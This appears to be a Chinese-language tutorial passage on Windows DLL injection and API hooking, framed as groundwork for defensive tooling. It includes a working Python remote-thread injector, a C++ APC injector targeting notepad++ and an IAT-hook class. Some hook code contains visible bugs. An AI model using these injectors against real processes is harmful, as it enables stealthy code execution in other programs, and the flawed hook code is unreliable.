catalogue
1. 引言
2. 使用注册表注入DLL
3. 使用Windows挂钩来注入DLL
4. 使用远程线程来注入DLL
5. 使用木马DLL来注入DLL
6. 把DLL作为调试器来注入
7. 使用createprocess来注入代码
8. APC DLL注入
9. API Hook拦截
10. Detours - Inline Hook
11. 以服务形式执行DLL中指定函数/或直接指定EXE作为启动程序
12. 劫持现有Service的启动DLL
13. Reflective DLL injection In Memory
14. 通过系统指令rundll32.exe执行DLL中指定函数
15. DLL劫持 lpk.dll
16. Reflective DLL Injection with PowerShell
17. 修改exe文件自身导入表劫持dll
18. 利用regsvr32 /s /i:http:注册dll组件
19. windows SSDT hook - 内核态hook
20. windows IDT hook - 内核态hook
21. IAT hook - 用户态hook
1. 引言
应用程序需要跨越进程边界来访问另一个进程的地址空间的情况如下
1. 我们想要从另一个进程创建的窗口派生子类窗口 2. 我们需要一些手段来辅助调试,例如我们需要确定另一个进程正在使用哪些DLL 3. 我们想对另一个进程安装Hook
我们接下来要研究将一个DLL注入到另一个进程的地址空间中,一旦DLL代码进入另一个地址空间,那么我们就可以在那个进程中实现安全防御逻辑。这里需要注意是的,DLL注入是一个一个前提条件,因为Windows的内存管理体系是不允许另一个进程直接修改当前进程的API行为的,而WriteProcessMemory又只能修改小范围的跨进程内存地址,这种情况下,我们要实现运行时中跨进程API Hook(有别于Linux LD_PRELOAD那种需要重新启动进程才能生效的全局Glibc库API劫持思路),就必须进行DLL注入
0x1: Detect and Plug GDI Leaks in Your Code with Two Powerful Tools for Windows XP
0x2: DLL(Dynamic Link Library)
1. 动态链接程序库,全称:Dynamic Link Library,简称DLL,作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件,需要跟其进行"动态链接" 2. 从编程的角度,应用程序需要知道DLL文件导出的API函数方可调用。由此可见,DLL文件本身并不可以运行,需要应用程序调用 3. DLL文件运行时必须插入到应用程序的内存模块当中,如果正在运行的程序不关闭,则该DLL很难清除
0x3: API Hook Project
https://www.apriorit.com/dev-blog/160-apihooks https://github.com/williammortl/Prochook64 https://github.com/Zer0Mem0ry/APIHook
Relevant Link:
http://wotseb.bokee.com/6568089.html http://blog.naver.com/hypermin/70011196503
2. 使用注册表注入DLL
windows整个系统的配置都保存在这个注册表中,我们可以通过调整其中的设置来改变系统的行为
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
1. AppInit_Dlls: 该键的值可能会包含一个DLL的文件名或一组DLL的文件名(通过空格或逗号分隔)(由于空格是用来分隔文件名的,所以我们必须避免在文件名中包含空格)。第一个DLL的文件名可以包含路径,但其他DLL包含的路径则会被忽略,出于这个原因,我们最好是将自己的DLL放到windows的系统目录中,这样就不必指定路径了 2. LoadAppInit_Dlls: 为了能让系统使用AppInit_Dlls这个注册表项,需要创建一个LoadAppInit_Dlls,类型为DWORD的注册表项,并将它的值设置为1
当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,当User32.dll对它进行处理的时候,会取得上述注册表键的值,并调用LoadLibary来载入这个字符串中指定的每个DLL。当系统载入每个DLL的时候,会调用它们的DllMain函数,并将参数fdwReason的值设置为DLL_PROCESS_ATTACH,这样每个DLL都能够对自己进行初始化
0x1: 该方法的风险点
1. 由于被注入的DLL是在进程的生命周期的早期(Loader)被载入的,因此我们在调用函数的时候应该谨慎,调用Kernel32.dll中的函数应该没有问题,但是调用其他DLL中的函数可能会导致失败,甚至可能会导致蓝屏 2. User32.dll不会检查每个DLL的载入或初始化是否成功
0x2: 该方案的缺点
1. 我们的DLL只会被映射到那些使用了User32.dll的进程中,所有基于GUI的应用程序都使用了User32.dll,但大多数基于CUI的应用程序都不会使用它。因此,如果想要将DLL注入到编译器或者链接器或者命令行程序,这种方法就不可行 2. 我们的DLL会被映射到每个基于GUI的应用程序中,但我们可能只想把DLL注入到一个或少数几个应用程序中。我们的DLL被映射到越多的进程中,它导致"容器"进程崩溃的可能性也就越大 3. 我们注入的DLL会在应用程序终止之前,一直存在于进程的地址空间中,最好是只在需要的时候才注入我们的DLL
3. 使用Windows挂钩来注入DLL
我们可以用挂钩(SetWindowsHookEx)来将一个DLL注入到进程的地址空间中。注意,当系统把挂钩过滤函数(hook filter function)所在的DLL注入或映射到地址空间中时,会映射整个DLL,而不仅仅只是挂钩过滤函数,这意味着该DLL内的所有函数存在于被注入的进程中,能够被被注入进程中的任何线程调用
0x1: 该方案的优缺点
1. 和利用注册表来注入DLL的方法相比,这种方法允许我们在不需要该DLL的时候从进程的地址空间中撤销对它的映射,只需要调用UnhookWindowsHookEx就可以达到目的。当一个线程调用UnhookWindowsHookEx的时候,系统会遍历自己内部的一个已经注入过该DLL的进程列表,并将该DLL的锁计数器递减。当锁计数器减到0的时候,系统会自动从进程的地址空间中撤销对该DLL的映射 2. 系统为了防止内存访问违规,在被注入进程指定Hook函数的时候,会对注入DLL的锁计数器加1,因为如果不这么做,则被注入进程在执行Hook函数的时候,系统的另一个进程可能会调用UnhookWindowsHookEx,从而引起内存访问违规 3. 所有这一切意味着我们不能在调用了Hook函数,且函数还在运行时把挂钩清楚,在Hook函数执行的整个声明周期,这个挂钩必须一直有效
这种方式可以理解为借用了windows自己原生的机制来进行DLL注入
4. 使用远程线程来注入DLL
远程线程(remote thread)提供了最高的灵活性,从根本上来说,DLL注入技术要求目标进程中的一个线程调用LoadLibrary来载入我们自己的DLL。由于我们不能轻易地控制别人进程中的线程,因此这种方法要求我们在目标进程中创建一个新的线程
HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId ); 1. hProcess: 表示新创建的线程归哪个进程所有 A handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights, and may fail without these rights on certain platforms 2. lpStartAddress: 代表新建远程线程的入口函数地址 注意,这个函数地址应该在远程进程的地址空间中,而不是在我们自己进程的地址空间。因为我们只是在远程进程中新建了一个线程,我们自己的DLL这个时候还没有被载入远程进程中,我们这个时候是孤身深入地方阵地的,没有携带任何武器,只能使用地方阵地上已有的东西制造登录平台,来实现后续的DLL注入(即利用LoadLibrary)
这里需要注意的是,如果在调用CreateRemoteThread的时候直接引用LoadLibraryW,该引用会被解析为我们模块的导入段中的LoadLibraryW转换函数的地址。如果把这个转换函数的地址作为远程线程的起始地址传入,其结果很可能是访问违规,为了强制让代码略过转换函数并直接调用LoadLibraryW函数,我们必须通过调用GetProcAddress来得到LoadLibraryW的准确地址
对CreateRemoteThread的调用假定在本地进程(local process)和远程进程中,Kernel32.dll被映射到地址空间中的同一内存地址。每个应用程序都需要Kernel32.dll,且每个进程中都会将Kernel32.dll映射到同一个地址,即使这个地址在系统重启之后可能会改变,因此,我们可以按照如下的方式来调用
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibrary"); HANDLE hThread = CreateRemoteThread(hProcessRemote, NULL, 0, pfnThreadRtn, L"C:\\Mylib.dll", 0, NULL);
但是这里还有一个问题,还是内存地址空间隔离的问题,我们传入的这个L"C:\\Mylib.dll"在编译时会被翻译为当前本地进程的内存地址,但是对于远程进程来说,这个地址可能是无效的,这可能导致访问违规,进而导致远程进程崩溃。为了解决这个问题,我们需要把DLL的路径字符串存放到远程进程的地址空间去,然后在调用CreateRemoteThread传入
LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); 让我们在远程进程中分配一块内存,一旦为字符串分配了一块内存,我们还需要向这个内存块中写入字符串内容 BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten );
这里再一次说明,CreateRemoteThread里传入的所有信息,都必须是在远程进程中有效的地址,这就相当于我们深入敌阵之前已经探查好了地形,当深入敌阵的那一瞬间,我们是按照事先探查好的地形(对应于远程进程中的有效内存地址)来进行后续的行动(即LoadLibraryW)
梳理一下总的流程
1. 用VirtualAllocEx函数在远程进程的地址空间中分配一块内存 2. 用WriteProcessMemory函数把DLL的路径名字符串复制到第一步分配的内存中 3. 用GetProcAddress函数来得到LoadLibraryW函数(在Kernel32.dll)在远程进行中的实际地址 4. 用CreateRemoteThread函数在远程进程中创建一个线程,让新线程调用正确的LoadLibraryW函数并在参数中传入第一步分配的内存地址。这时,DLL已经被注入到远程进程的地址空间,DLL的DllMain函数会收到DLL_PROCESS_ATTACH通知并且可以执行我们自定义的代码逻辑。当DllMain返回的时候,远程线程会从LoadLibraryW调用返回到BaseThreadStart函数。BaseThreadStart然后调用ExitThread,使远程线程终止 5. 现在远程进程中有一块内存,它是我们在第一步分配的,DLL也还在远程进程的内存空间中,为了对它们进行清理,我们需要在远程线程退出之后执行后续步骤 6. 用VirtualFreeEx来释放第一步分配的内存 7. 用GetProcAddress来得到FreeLibrary函数(在Kernel32.dll)中的实际地址 8. 用CreateRemoteThread函数在远程进程中创建一个线程,让该线程调用FreeLibrary函数并在参数中传入远程DLL的HMODULE
0x1: 方案风险点
1. CreateRemoteThread的第一个参数是远程进程的句柄HANDLE,我们需要调用OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);,并请求合适的访问权限,方案兼容性可能就出在这个访问权限。如果OpenProcess返回NULL,那说明应用程序所在的安全上下文(security context)不允许它打开目标进程的句柄。一些进程是本地系统帐号(local system account)运行的,例如WinLogon、SvcHost和Csrss,登录的用户是无法对这些进程进行修改的
0x2: python-dll-injection
#!/usr/bin/python # Win32 DLL injector from Grey Hat Python # Minor formatting cleanups done... import sys from ctypes import * print "DLL Injector implementation in Python" print "Taken from Grey Hat Python" if (len(sys.argv) != 3): print "Usage: %s <PID> <Path To DLL>" %(sys.argv[0]) print "Eg: %s 1111 C:\\test\messagebox.dll" %(sys.argv[0]) sys.exit(0) PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x00F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get handle to process being injected... h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[!] Couldn't get handle to PID: %s" %(pid) print "[!] Are you sure %s is a valid PID?" %(pid) sys.exit(0) # Allocate space for DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) # Write DLL path to allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # Resolve LoadLibraryA Address h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") # Now we createRemoteThread with entrypoiny set to LoadLibraryA and pointer to DLL path as param thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[!] Failed to inject DLL, exit..." sys.exit(0) print "[+] Remote Thread with ID 0x%08x created." %(thread_id.value)
需要明白的是,CreateRemoteThread+DLL注入只是让我们有机会定向地让一个目标远程执行我们自定义的代码逻辑。到了这一步还未完成API Hook,因为进程注入只有One Shoot一次机会,如果我们希望持久地控制目标进程的行为,就需要在注入的DLL的DllMain中实现API Hook的代码逻辑
Relevant Link:
https://github.com/infodox/python-dll-injection
5. 使用木马DLL来注入DLL
注入DLL的另一种方式是,把我们知道的进程必然会载入的一个DLL替换掉,我们替换的DLL内部,我们导出原来的DLL所导出的所有符号(保证调用方无感知)
0x1: 方案的风险点
1. 这种方法不能自动适应被替换DLL版本的变化
6. 把DLL作为调试器来注入
调试器可以在被调试进程中执行许多特殊的操作。系统载入一个被调试程序(debugger)的时候,会在被调试程序的地址空间准备完毕之后,但被调试程序的主线程尚未开始执行任何代码之前,自动通知调试器。这是,调试器可以强制将一些代码注入到被调试程序的地址空间中(例如使用writeprocessmemory),然后让被调试程序的主线程去执行这些代码。
这种方法要求我们对被调试线程的context结果进行操作,这也意味着我们必须编写与cpu有关的代码。在默认情况下,如果调试器终止,那么windows会自动终止被调试程序,但是,调试器可以通过debugsetprocesskillonexit并传入false来改变默认的行为
7. 使用createprocess来注入代码
如果要注入代码的进程是由我们的进程生成的(spawn),那么,我们的进程(父进程)可以在创建新进程的时候将它挂起。这种方法允许我们改变子进程的状态,同时又不影响它的执行,因为它根本还没有开始执行。
父进程会得到子进程主线程的句柄,通过这个句柄,可以对线程执行的代码进行修改,由于我们可以设置线程的指令指针,让它执行内存映射文件中的代码
1. 让进程生成一个被挂起的子进程 2. 从.exe模块的文件头中取得主线程的起始内存地址 3. 将位于该内存地址处的机器指令保存起来 4. 强制将一些手工编写的机器指令写入到该内存地址处,这些指令应该调用loadlibrary来载入一个dll 5. 让子进程的主线程恢复运行,从而让这些指令得到执行 6. 把保存起来的原始指令恢复到起始地址处 7. 让进程从起始地址继续执行,就好像什么都没有发生过一样
0x1: 方案优缺点
1. 首先,它在应用程序开始执行之前得到地址空间 2. 其次,由于我们的应用程序不是调试器,因此我们可以非常容易地对应用程序和注入的dll进行调试 3. 最后,这种方法适用于cui、gui程序 4. 但是这种方法也有缺点。只有当我们的代码在父进程中的时候,我们才能用这种方法来注入dll 5. 同时,这种方法还和cpu相关,我们必须为不同的cpu平台做相应的修改
8. APC DLL注入
0x1: 内核方式投递APC
异步过程调用(APC)是NT异步处理体系结构中的一个基础部分。Alertable IO(告警IO)提供了更有效的异步通知形式,当IO请求完成后,一旦线程进入可告警状态,回调函数将会执行,也就是一个APC的过程.
线程进入告警状态时,内核将会检查线程的APC队列,如果队列中有APC,将会按FIFO方式依次执行。如果队列为空,线程将会挂起等待事件对象。以后的某个时刻,一旦APC进入队列,线程将会被唤醒执行APC.
投递APC是一个线程动作,最终由系统调用KiDeliverApc完成。所以,我们可以填充一个APC(KeInitializeapc,KeInsertQueueApc)插入到线程Alertable为TRUE的APC对列中。
任意一个DLL插入到进程执行的是用户空间代码,so,必定要使用LoadLibrayA加载才可访问用户地址空间。so这是个用户模式下的APC。用户模式可以传递(ULONG)LoadLibrayA地址,内核里就可使用这个地址
0x2: 应用层方式插入APC
从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的 APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,但是没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是等了很久代码还是没得到执行。在核心态往往不成问题可以直接赋值但是用户态不行.
解决这个问题的方法有2个
1. 把所有线程全都QueueUserAPC。但这样做确实影响效率 2. 使用目标线程调用 SleepEx(.,TRUE),然后QueueUserAPC插入DLL
APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入
1. 第一步: 打开目标进程获得句柄 2. 第二步: 枚举目标进程里面的线程得到线程ID HANDLE WINAPI CreateToolhelp32Snapshot( _In_ DWORD dwFlags,//snapshot包涵的内容 _In_ DWORD th32ProcessID//进程ID ),用来创建一个枚举线程的快照。然后调用函数Thread32First和Thread32Next来循环枚举线程 BOOL WINAPI Thread32First( _In_ HANDLE hSnapshot,//快照句柄 _Inout_ LPTHREADENTRY32 lpte//保存相关信息的结构体 ) BOOL WINAPI Thread32Next( _In_ HANDLE hSnapshot, _Out_ LPTHREADENTRY32 lpte )。 3. 第三步: 打开线程得到线程句柄 HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打开权限 _In_ BOOL bInheritHandle,//子进程是否继承该句柄 _In_ DWORD dwThreadId//线程ID ) 4. 第四步: 调用QueueUserAPC函数向枚举到的每一个线程插入APC HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打开权限 _In_ BOOL bInheritHandle,//子进程是否继承该句柄 _In_ DWORD dwThreadId//线程ID )
注入notepad++示例
// apc-inject.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #include <TlHelp32.h> #include <vector> using std::vector; bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) { auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return false; pid = 0; PROCESSENTRY32 pe = { sizeof(pe) }; if (::Process32First(hSnapshot, &pe)) { do { if (_wcsicmp(pe.szExeFile, exeName) == 0) { pid = pe.th32ProcessID; THREADENTRY32 te = { sizeof(te) }; if (::Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID == pid) { tids.push_back(te.th32ThreadID); } } while (::Thread32Next(hSnapshot, &te)); } break; } } while (::Process32Next(hSnapshot, &pe)); } ::CloseHandle(hSnapshot); return pid > 0 && !tids.empty(); } void main() { DWORD pid; vector<DWORD> tids; if (FindProcess(L"notepad++.exe", pid, tids)) { printf("OpenProcess\n"); HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); printf("VirtualAllocEx\n"); auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); wchar_t buffer[] = L"c:\\test\\testDll.dll"; printf("WriteProcessMemory\n"); ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr); for (const auto& tid : tids) { printf("OpenThread\n"); HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid); if (hThread) { printf("GetProcAddress\n"); ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p); } } printf("VirtualFreeEx\n"); ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT); } }
dll code
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, NULL, NULL, 0); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
Relevant Link:
http://gslab.qq.com/article-206-1.html http://www.pediy.com/kssd/pediy11/114648.html https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx https://github.com/3gstudent/Inject-dll-by-APC http://www.cnblogs.com/arsense/p/6427472.html http://www.programlife.net/apc-injection.html
9. API Hook拦截
0x1: 通过覆盖代码来拦截api(inline hook)
1. 在内存中对要拦截的函数(假设是Kernel32.dll中的ExitProcess)进行定位,从而得到它的的内存地址 2. 把这个函数起始的几个字节保存在我们自己的内存中 3. 用CPU的一条JUMP指令来覆盖这个函数起始的几个字节,这条JUMP指令用来跳转到我们的替代函数的内存地址。当然,我们的替代函数的函数签名(参数)必须与要拦截的函数的函数签名完全相同;1)所有的参数必须相同、2)返回值必须相同、3)调用约定也必须相同 4. 现在,当线程调用被拦截函数(hook function)的时候,跳转指令实际上会跳转到我们的替代函数。这时,我们就可以执行自己想要执行的任何代码 5. 为了撤销对函数的拦截,我们必须把(第二步)保存下来的自己放回被拦截函数起始的几个字节中 6. 我们调用被拦截函数(现在已经不再对它进行拦截了),让该函数执行它的正常处理
需要注意的是,这种方法存在一些严重不足
1. 它对CPU有依赖性;x86、x64、IA-64以及其他CPU的JUMP指令各不相同,为了让这种方法能够工作,我们必须手工编写机器指令 2. 这种方法在抢占式、多线程环境下无法工作。一个线程覆盖另一个函数起始位置的代码是需要时间的,在这个过程中,另一个线程可能试图调用同一个函数,其结果可能是灾难性的
0x2: 通过修改模块的导入段来拦截API
我们知道,一个模块的导入段包含一组DLL,为了让模块能够运行,这些DLL是必须的。此外,导入段还包含一个符号表,其中列出了该模块从各DLL中导入的符号。当该模块调用另一个导入函数的时候,线程实际上会先从模块的导入表中得到相应的导入函数的地址,然后再跳转到那个地址
因此,为了拦截一个特定的函数,我们需要修改它在模块的导入段中的地址(定向针对某进程Hook)
需要注意的是,通过修改模块的导入段只能影响该模块本身(常常是该主进程)的调用行为,而不影响其他进程,同时,如果该模块地址空间中的DLL也不受影响,因为这些DLL有它们自己的导入段,它们并没有被修改。如果想要捕获所有模块对执行函数的所有调用,必须对载入到地址空间中的每个模块都进行导入段修改
1. ReplaceIATEntryInAllMods中遍历模块的框架
void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得当前模块句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必须为类的static函数 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本进程的模块列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //对每一个模块 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配对写 }
2. 遍历链表摘除自己(恢复被Hook导入函数)的框架
CAPIHOOK::~CAPIHOOK(void) { //取消对函数的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把自己从链表中删除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } }
3. ReplaceIATEntryInOneMod
使用IAT Hook劫持技术,需要额外处理几个特殊的情况
1. 如果一个线程在我们调用了ReplaceIATEntryInAllMods之后调用LoadLibrary来动态载入一个新的DLL,这种情况下,新载入的DLL并没有被IAT替换。因此我们需要拦截LoadLibraryA、LoadLibraryW、LoadLibraryExA、LoadLibraryExW函数,这样我们就能够捕获这些调用,并为新载入的模块调用ReplaceIATEntryInAllMod。之所以要用All,是因为新载入的DLL可能有静态依赖其他DLL,这些静态依赖的DLL不会触发我们的LoadLibrary..系列函数 2. 假如目标模块是哟个GetProcAddress动态调用函数,程序流也不会到IAT这里,因此我们需要对GetProcAddress进行单独的Hook处理
.cpp
#include "APIHOOK.h" #include <Tlhelp32.h> CAPIHOOK *CAPIHOOK::sm_pHeader = NULL; CAPIHOOK CAPIHOOK::sm_LoadLibraryA("kernel32.dll", "LoadLibraryA", (PROC)CAPIHOOK::LoadLibraryA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryW("kernel32.dll", "LoadLibraryW", (PROC)CAPIHOOK::LoadLibraryW, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExA("kernel32.dll", "LoadLibraryExA", (PROC)CAPIHOOK::LoadLibraryExA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExW("kernel32.dll", "LoadLibraryExW", (PROC)CAPIHOOK::LoadLibraryExW, TRUE); CAPIHOOK CAPIHOOK::sm_GetProcAddress("kernel32.dll", "GetProcAddress", (PROC)CAPIHOOK::GetProcess, TRUE); CAPIHOOK::CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod) { //初始化变量 m_pszModName = lpszModName; m_pszFuncName = pszFuncName; m_pfnOrig = ::GetProcAddress(::GetModuleHandleA(lpszModName), pszFuncName); m_pfnHook = pfnHook; //将此对象加入链表中 m_pNext = sm_pHeader; sm_pHeader = this; //在当前已加载的模块中HOOK这个函数 ReplaceIATEntryInAllMods(lpszModName, m_pfnOrig, m_pfnHook, bExcludeAPIHookMod); } CAPIHOOK::~CAPIHOOK(void) { //取消对函数的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把自己从链表中删除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } } //防止程序运行期间动态加载模块 void CAPIHOOK::HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags) { if (hModule!=NULL && (dwFlags&LOAD_LIBRARY_AS_DATAFILE)==0) { CAPIHOOK* p = sm_pHeader; //循环遍历链表,对每个CAPIHOOK进入HOOK if (p != NULL) { ReplaceIATEntryInOneMod(p->m_pszModName, p->m_pfnOrig, p->m_pfnHook, hModule); p = p->m_pNext; } } } //防止程序运行期间动态调用API函数 FARPROC WINAPI CAPIHOOK::GetProcess(HMODULE hModule, PCSTR pszProcName) { //得到函数的真实地址 FARPROC pfn = ::GetProcAddress(hModule, pszProcName); //遍历列表 看是不是要HOOK的函数 CAPIHOOK* p = sm_pHeader; while(p != NULL) { if (p->m_pfnOrig == pfn) //是要HOOK的函数 { pfn = p->m_pfnHook; //HOOK掉 break; } p = p->m_pNext; } return pfn; } void CAPIHOOK::ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller) { IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModCaller; IMAGE_OPTIONAL_HEADER* pOpNtHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)hModCaller + pDosHeader->e_lfanew + 24); //这里加24 IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModCaller + pOpNtHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); BOOL bFindDll = FALSE; while (pImportDesc->FirstThunk) { char* pszDllName = (char*)((BYTE*)hModCaller + pImportDesc->Name); if (stricmp(pszDllName, pszExportMod) == 0)//如果找到pszExportMod模块,相当于hook messageboxa时的“user32.dll” { bFindDll = TRUE; break; } pImportDesc++; } if (bFindDll) { DWORD n = 0; //一个IMAGE_THUNK_DATA就是一个导入函数 IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModCaller + pImportDesc->OriginalFirstThunk); while (pThunk->u1.Function) { //取得函数名称 char* pszFuncName = (char*)((BYTE*)hModCaller+pThunk->u1.AddressOfData+2); //函数名前面有两个.. //printf("function name:%-25s, ", pszFuncName); //取得函数地址 PDWORD lpAddr = (DWORD*)((BYTE*)hModCaller + pImportDesc->FirstThunk) + n; //从第一个函数的地址,以后每次+4字节 //printf("addrss:%X\n", lpAddr); //在这里是比较的函数地址 if (*lpAddr == (DWORD)pfnCurrent) //找到iat中的函数地址 { DWORD* lpNewProc = (DWORD*)pfnNewFunc; MEMORY_BASIC_INFORMATION mbi; DWORD dwOldProtect; //修改内存页的保护属性 ::VirtualQuery(lpAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); ::VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect); ::WriteProcessMemory(GetCurrentProcess(), lpAddr, &lpNewProc, sizeof(DWORD), NULL); ::VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, NULL); return; } n++; //每次增加一个DWORD } } } void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得当前模块句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必须为类的static函数 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本进程的模块列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //对每一个模块 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配对写 } //防止自动加载 HMODULE WINAPI CAPIHOOK::LoadLibraryA(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryA(lpFileName); HookNewlyLoadedModule(hModule, 0); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryW(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryW(lpFileName); HookNewlyLoadedModule(hModule, 0); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI 